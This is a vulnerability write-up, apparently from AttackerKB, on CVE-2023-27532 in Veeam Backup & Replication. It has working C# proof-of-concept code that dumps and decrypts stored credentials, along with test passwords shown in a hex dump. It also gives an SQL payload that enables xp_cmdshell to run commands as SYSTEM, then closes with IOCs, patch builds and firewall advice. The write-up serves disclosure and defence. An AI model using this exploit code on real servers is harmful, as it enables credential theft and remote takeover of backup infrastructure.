000003d0 37 35 42 30 33 2d 45 38 30 35 2d 34 39 45 31 2d |75B03-E805-49E1-| 000003e0 39 35 33 35 2d 31 38 36 37 43 36 32 33 37 31 45 |9535-1867C62371E| 000003f0 32 01 09 0e 00 00 00 01 05 00 00 00 04 00 00 00 |2...............| 00000400 54 00 00 00 00 00 00 00 01 f1 ff ff ff f5 ff ff |T........ñÿÿÿõÿÿ| 00000410 ff 50 af eb b5 63 1a 48 4c 83 9f 5f 8a 54 52 52 |ÿP¯ëµc.HL.._.TRR| 00000420 0b 01 f0 ff ff ff f4 ff ff ff 06 11 00 00 00 24 |..ðÿÿÿôÿÿÿ.....$| 00000430 42 35 45 42 41 46 35 30 2d 31 41 36 33 2d 34 43 |B5EBAF50-1A63-4C| 00000440 34 38 2d 38 33 39 46 2d 35 46 38 41 35 34 35 32 |48-839F-5F8A5452| 00000450 35 32 30 42 01 09 12 00 00 00 01 06 00 00 00 04 |520B............| 00000460 00 00 00 5d 00 00 00 00 00 00 00 01 ed ff ff ff |...]........íÿÿÿ| 00000470 f5 ff ff ff d2 de 79 e3 ae 8d 9a 4b b7 7d 7e d9 |õÿÿÿÒÞyã®..K·}~Ù| 00000480 9e 8c 71 52 01 ec ff ff ff f4 ff ff ff 06 15 00 |..qR.ìÿÿÿôÿÿÿ...| 00000490 00 00 24 45 33 37 39 44 45 44 32 2d 38 44 41 45 |..$E379DED2-8DAE| 000004a0 2d 34 42 39 41 2d 42 37 37 44 2d 37 45 44 39 39 |-4B9A-B77D-7ED99| 000004b0 45 38 43 37 31 35 32 01 09 16 00 00 00 01 07 00 |E8C7152.........| 000004c0 00 00 04 00 00 00 53 00 00 00 00 00 00 00 01 e9 |......S........é| 000004d0 ff ff ff f5 ff ff ff d1 41 00 fd 68 4a bd 4a ae |ÿÿÿõÿÿÿÑA.ýhJ½J®| 000004e0 fe b2 bf 02 bb 7c a9 01 e8 ff ff ff f4 ff ff ff |þ²¿.»|©.èÿÿÿôÿÿÿ| 000004f0 06 19 00 00 00 24 46 44 30 30 34 31 44 31 2d 34 |.....$FD0041D1-4| 00000500 41 36 38 2d 34 41 42 44 2d 41 45 46 45 2d 42 32 |A68-4ABD-AEFE-B2| 00000510 42 46 30 32 42 42 37 43 41 39 01 09 1a 00 00 00 |BF02BB7CA9......| 00000520 01 08 00 00 00 04 00 00 00 42 03 00 00 00 00 00 |.........B......| 00000530 00 01 e5 ff ff ff f5 ff ff ff 9f c2 e4 f2 11 2e |..åÿÿÿõÿÿÿ. äò..| 00000540 47 44 b4 81 23 d3 b1 3c cc c2 01 e4 ff ff ff f4 |GD´.#Ó±<Ì .äÿÿÿô| 00000550 ff ff ff 06 1d 00 00 00 24 66 32 65 34 63 32 39 |ÿÿÿ.....$f2e4c29| 00000560 66 2d 32 65 31 31 2d 34 34 34 37 2d 62 34 38 31 |f-2e11-4447-b481| 00000570 2d 32 33 64 33 62 31 33 63 63 63 63 32 01 09 1e |-23d3b13cccc2...| 00000580 00 00 00 01 09 00 00 00 04 00 00 00 45 03 00 00 |............E...| 00000590 00 00 00 00 01 e1 ff ff ff f5 ff ff ff 49 b1 20 |.....áÿÿÿõÿÿÿI± | 000005a0 95 40 5b a6 4b ae a1 63 29 58 95 5d 36 01 e0 ff |.@[¦K®¡c)X.]6.àÿ| 000005b0 ff ff f4 ff ff ff 06 21 00 00 00 24 39 35 32 30 |ÿÿôÿÿÿ.!...$9520| 000005c0 62 31 34 39 2d 35 62 34 30 2d 34 62 61 36 2d 61 |b149-5b40-4ba6-a| 000005d0 65 61 31 2d 36 33 32 39 35 38 39 35 35 64 33 36 |ea1-632958955d36| 000005e0 01 09 22 00 00 00 05 0e 00 00 00 20 56 65 65 61 |.."........ Veea| 000005f0 6d 2e 42 61 63 6b 75 70 2e 43 6f 6d 6d 6f 6e 2e |m.Backup.Common.| 00000600 43 43 72 65 64 65 6e 74 69 61 6c 73 07 00 00 00 |CCredentials....| 00000610 08 55 73 65 72 4e 61 6d 65 08 50 61 73 73 77 6f |.UserName.Passwo| 00000620 72 64 0e 49 73 4c 6f 63 61 6c 50 72 6f 74 65 63 |rd.IsLocalProtec| 00000630 74 0b 43 75 72 72 65 6e 74 55 73 65 72 0b 44 65 |t.CurrentUser.De| 00000640 73 63 72 69 70 74 69 6f 6e 15 43 68 61 6e 67 65 |scription.Change| 00000650 54 69 6d 65 55 74 63 48 61 73 56 61 6c 75 65 0d |TimeUtcHasValue.| 00000660 43 68 61 6e 67 65 54 69 6d 65 55 74 63 01 01 00 |ChangeTimeUtc...| 00000670 00 01 00 00 01 01 01 0d 0a 00 00 00 06 23 00 00 |.............#..| 00000680 00 04 72 6f 6f 74 06 24 00 00 00 00 01 00 06 25 |..root.$.......%| 00000690 00 00 00 1c 48 65 6c 70 65 72 20 61 70 70 6c 69 |....Helper appli| 000006a0 61 6e 63 65 20 63 72 65 64 65 6e 74 69 61 6c 73 |ance credentials| 000006b0 01 e0 53 b3 4b 60 29 db 08 01 12 00 00 00 0e 00 |.àS³K`)Û........| 000006c0 00 00 06 26 00 00 00 04 72 6f 6f 74 09 24 00 00 |...&....root.$..| 000006d0 00 01 00 06 28 00 00 00 33 54 65 6e 61 6e 74 2d |....(...3Tenant-| 000006e0 73 69 64 65 20 6e 65 74 77 6f 72 6b 20 65 78 74 |side network ext| 000006f0 65 6e 73 69 6f 6e 20 61 70 70 6c 69 61 6e 63 65 |ension appliance| 00000700 20 63 72 65 64 65 6e 74 69 61 6c 73 01 10 79 bb | credentials..y»| 00000710 3e 60 29 db 08 01 16 00 00 00 0e 00 00 00 06 29 |>`)Û...........)| 00000720 00 00 00 04 72 6f 6f 74 09 24 00 00 00 01 00 06 |....root.$......| 00000730 2b 00 00 00 22 41 7a 75 72 65 20 68 65 6c 70 65 |+..."Azure helpe| 00000740 72 20 61 70 70 6c 69 61 6e 63 65 20 63 72 65 64 |r appliance cred| 00000750 65 6e 74 69 61 6c 73 01 b0 6e 4e 43 60 29 db 08 |entials.°nNC`)Û.| 00000760 01 1a 00 00 00 0e 00 00 00 06 2c 00 00 00 04 72 |..........,....r| 00000770 6f 6f 74 09 24 00 00 00 01 00 06 2e 00 00 00 35 |oot.$..........5| 00000780 50 72 6f 76 69 64 65 72 2d 73 69 64 65 20 6e 65 |Provider-side ne| 00000790 74 77 6f 72 6b 20 65 78 74 65 6e 73 69 6f 6e 20 |twork extension | 000007a0 61 70 70 6c 69 61 6e 63 65 20 63 72 65 64 65 6e |appliance creden| 000007b0 74 69 61 6c 73 01 10 79 bb 3e 60 29 db 08 01 1e |tials..y»>`)Û...| 000007c0 00 00 00 0e 00 00 00 06 2f 00 00 00 0e 54 65 73 |......../....Tes| 000007d0 74 4c 69 6e 75 78 41 64 6d 69 6e 06 30 00 00 00 |tLinuxAdmin.0...| 000007e0 1d 41 6e 6f 74 68 65 72 54 65 73 74 50 61 73 73 |.AnotherTestPass| <--- plaintext password 000007f0 77 6f 72 64 39 38 37 36 35 34 33 32 31 21 01 00 |word987654321!..| 00000800 06 31 00 00 00 0e 54 65 73 74 4c 69 6e 75 78 41 |.1....TestLinuxA| 00000810 64 6d 69 6e 01 50 a5 fc 5e f1 29 db 08 01 22 00 |dmin.P¥ü^ñ)Û..".| 00000820 00 00 0e 00 00 00 06 32 00 00 00 11 54 65 73 74 |.......2....Test| 00000830 53 74 61 6e 64 61 72 64 41 64 6d 69 6e 06 33 00 |StandardAdmin.3.| 00000840 00 00 15 4d 79 41 64 6d 69 6e 50 61 73 73 77 6f |...MyAdminPasswo| <--- plaintext password 00000850 72 64 31 32 33 34 35 21 01 00 06 34 00 00 00 05 |rd12345!...4....| 00000860 41 64 6d 69 6e 01 10 39 43 3d f1 29 db 08 0b |Admin..9C=ñ)Û..|
If we want to deserialize the xml_result
and retrieve the plaintext password we can use the following code.
CCommonInvokeRetVal allCreds2 = CCommonInvokeRetVal.Deserialize(xml_result); string retVal = allCreds2.GetParamAsString("retVal"); List<CDbCredentialsInfo> result = CProxyBinaryFormatter.Deserialize<List<CDbCredentialsInfo>>(retVal); foreach (CDbCredentialsInfo info in result) { byte[] password_raw; // password is now 'encrypted' using Crypt32!CryptProtectData from our local machine, which occurred during deserialization above. // so we can unprotect it here to get back the plaintext. if (info.Credentials.IsLocalProtect) password_raw = ProtectedData.Unprotect(Convert.FromBase64String(info.Credentials.EncryptedPassword.Value), (byte[])null, (DataProtectionScope)1); else password_raw = ProtectedData.Unprotect(Convert.FromBase64String(info.Credentials.EncryptedPassword.Value), (byte[])null, (DataProtectionScope)0); string password = Encoding.UTF8.GetString(password_raw); Console.WriteLine("User: {0}\nID: {1}\nPassword: {2}\n", info.Credentials.Name, info.Id, password); }
The above code is included in the proof of concept exploit that accompanies this analysis and produces the following result.
Remote Code Execution
Not only does the vulnerable unauthenticated endpoint leak plaintext credentials, it also allows for remote code execution on the Veeam Backup & Replication server itself. An exposed method to perform SQL queries can be leveraged to gain arbitrary command execution with local system privileges.
To execute an arbitrary SQL statement we can call the GetDataTable
method which is exposed in the IRemoteInvokeService
interface, and will accept 3 parameters scope
, method
and parameters
. The parameters are expected to be in the form of an XML string.
public DataTable GetDataTable( ERemoteInvokeScope scope, ERemoteInvokeMethod method, string parameters) { try { Log.Message(LogLevels.UltimateDetailed, string.Format("Invoke: scope '{0}', method '{1}'", (object) scope, (object) method)); XmlNode specNode = CRemoteInvokeSpec.GetSpecNode(parameters); DataTable retVal; this.ProcessCommand(scope, method, specNode, out retVal); // <--- return retVal; } catch (Exception ex) { int scope1 = (int) scope; int method1 = (int) method; CBackupSecureServiceErrorHandler.LogAndThrowFaultException(ex, (ERemoteInvokeScope) scope1, (ERemoteInvokeMethod) method1); throw; } }
By providing a scope
of ERemoteInvokeScope.DatabaseAccessor
we can call the ExecuteDatabaseAccessorCommand
method.
protected void ProcessCommand( ERemoteInvokeScope scope, ERemoteInvokeMethod method, XmlNode specNode, out DataTable retVal) { if (scope != ERemoteInvokeScope.DatabaseAccessor) throw ExceptionFactory.Create(string.Format("Unknown scope: {0}", (object) scope)); this.ExecuteDatabaseAccessorCommand(method, specNode, out retVal); // <--- }
And by providing a method
of ERemoteInvokeMethod.GetDataTable
we can call the GetDataTable
method.
private void ExecuteDatabaseAccessorCommand( ERemoteInvokeMethod method, XmlNode specNode, out DataTable retVal) { if (method != ERemoteInvokeMethod.GetDataTable) throw ExceptionFactory.Create(string.Format("Unknown command: {0}", (object) method)); CDbGetDataTableRemoteInvokeSpec remoteInvokeSpec = CDbGetDataTableRemoteInvokeSpec.Unserial(specNode); retVal = this._managers.DatabaseManager.GetDataTable(remoteInvokeSpec.RequestSpec).DataTable; // <--- retVal.TableName = "GetDataTable"; }
The GetDataTable
method will pass the attacker supplied SqlCommand
and CommandType
to LocalDbAccessor.GetDataTable
which in turn will call GetQueryDataTable
if the CommandType
is set to be CommandType.Text
(1).
namespace Veeam.Backup.ServiceLib { public class CRemoteDatabaseMgmtManager : IDisposable { public CDataTableSurrogate GetDataTable(CRemoteDbAccessorSpec spec) => (spec.CommandType != CommandType.Text ? this.GetProcedureDataTable(spec) : this.GetQueryDataTable(spec)).GetSurrogate(); private DataTable GetQueryDataTable(CRemoteDbAccessorSpec spec) => this._accessor.GetDataTable(spec.SqlCommand, spec.CommandType, ((IEnumerable<CSerializableSqlParam>) spec.SerializedSqlParams).Select<CSerializableSqlParam, SqlParameter>((System.Func<CSerializableSqlParam, SqlParameter>) (s => s.GetSqlParameter())).ToArray<SqlParameter>());
Finally the LocalDbAccessor.GetDataTable
method will run the SQL command on the database before returning the results.
namespace Veeam.Backup.DBManager { public class LocalDbAccessor : IDatabaseAccessor, IDisposable, IDbAccessor { public DataTable GetDataTable(string query, CommandType type, params SqlParameter[] spParams) { try { Log.Trace("[DB] {0}", (object) query); CSqlTransactionInfo sqlTransactionInfo = this._transactionManager.FindSqlTransactionInfo(); SqlConnection connection = sqlTransactionInfo == null ? CDbConnection.OpenConnection(this._connectionString) : sqlTransactionInfo.SqlConnection; try { SqlCommand selectCommand = sqlTransactionInfo == null ? new SqlCommand(query, connection) : new SqlCommand(query, connection, sqlTransactionInfo.SqlTransaction); DataTable dataTable = new DataTable(); using (selectCommand) { using (SqlDataAdapter sqlDataAdapter = new SqlDataAdapter(selectCommand)) { selectCommand.CommandType = type; selectCommand.CommandTimeout = this._commandTimeout; selectCommand.Parameters.AddRange(spParams); dataTable.BeginLoadData(); sqlDataAdapter.Fill(dataTable); dataTable.EndLoadData(); } } return dataTable; } finally { if (sqlTransactionInfo == null) connection.Dispose(); } } catch (Exception ex) { CExceptionUtil.ThrowSqlException(ex, false); throw; } }
As Veeam Backup & Replication uses Microsoft SQL Server by default, we can exploit the ability to run SQL commands and achieve arbitrary command execution by leveraging the xp_cmdshell
stored procedure. While this procedure is considered dangerous and is disabled by default, the Veeam Backup service connects to the database with the privileges required to enable the feature through several additional SQL commands.
As such we can execute an arbitrary shell command (popping notepad.exe in the example below) with local system privileges on the remote Veeam Backup & Replication server via the following code.
String cmd = "c:\\windows\\notepad.exe"; string spec = String.Format( """ <RemoteInvokeSpec ContextSessionId="{0}"> <DbGetDataTableRemoteInvokeSpec> <SqlCommand>EXEC sp_configure 'show advanced options', 1; EXEC sp_configure reconfigure; EXEC sp_configure 'xp_cmdshell', 1; EXEC sp_configure reconfigure; EXEC xp_cmdshell '{1}';</SqlCommand> <CommandType>1</CommandType> </DbGetDataTableRemoteInvokeSpec> </RemoteInvokeSpec> """, Guid.NewGuid().ToString(), cmd ); channel.GetDataTable(ERemoteInvokeScope.DatabaseAccessor, ERemoteInvokeMethod.GetDataTable, spec);
The above code is included in the proof of concept exploit that accompanies this analysis and produces the following result.
An attacker may leverage arbitrary command execution to achieve arbitrary code execution through a number of means, such as downloading an attacker controlled program via a mechanism such as curl or ftp and then executing the program.
IOCs
When leaking plaintext credential through the vulnerable endpoint, the log file C:\ProgramData\Veeam\Backup\Svc.VeeamBackup.log
will contain the following, which corresponds to the remote call to the CredentialsDbScopeGetAllCreds
method, along with the DB stored procedure GetAllCreds
. Note that legitimate access to the endpoint may also produce this log entry and it is not indicative in and of itself to malicious access.
[23.03.2023 05:09:09] <99> Info Invoke: scope 'DatabaseManager', method 'CredentialsDbScopeGetAllCreds' [23.03.2023 05:09:09] <99> Info [DB] GetAllCreds,
If a malicious SQL query is performed against a Microsoft SQL server database, the Svc.VeeamBackup.log
will also contain the full SQL query. For example
[23.03.2023 04:21:11] <69> Info [DB] EXEC sp_configure 'show advanced options', 1; EXEC sp_configure reconfigure; EXEC sp_configure 'xp_cmdshell', 1; EXEC sp_configure reconfigure; EXEC xp_cmdshell 'c:\windows\notepad.exe';
The Microsoft SQL Server log file C:\Program Files\Microsoft SQL Server\MSSQL13.VEEAMSQL2016\MSSQL\Log\ERRORLOG
will contain the following if the xp_cmdshell
stored procedure was used during exploitation. Note that there may be other methods to leverage arbitrary SQL queries that lead to exploitation and do not require ‘xp_cmdshell`.
2023-03-23 05:09:21.88 spid56 Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install. 2023-03-23 05:09:21.89 spid56 Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
Guidance
Veeam Backup & Replication customers should update to the latest version of the product to remediate this issue, specifically build 12.0.0.1420 P20230223 for version 12 of the product and build 11.0.1.1261 P20230227 for version 11 of the product.
Firewall rules should be in place to block all incoming TCP connections to port 9401 on the system running the Veeam Backup server. If access from a remote Veeam Mount server is required, firewall exceptions may be in place to allow this, however an attacker with a foothold on a Veeam Mount server would therefore be able to connect to the vulnerable endpoint on the Veeam Backup server.
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
On April 26, 2023 WithSecure Labs reported that vulnerable internet facing instances of Veeam Backup & Replication server were being exploited in the wild by a threat actor whose tradecraft resembles that of the FIN7 cybercrime group. WithSecure observed exploitation of CVE-2023-27532, whereby the attacker achieved Remote Code Execution (RCE) by leveraging the vulnerability to execute malicious SQL.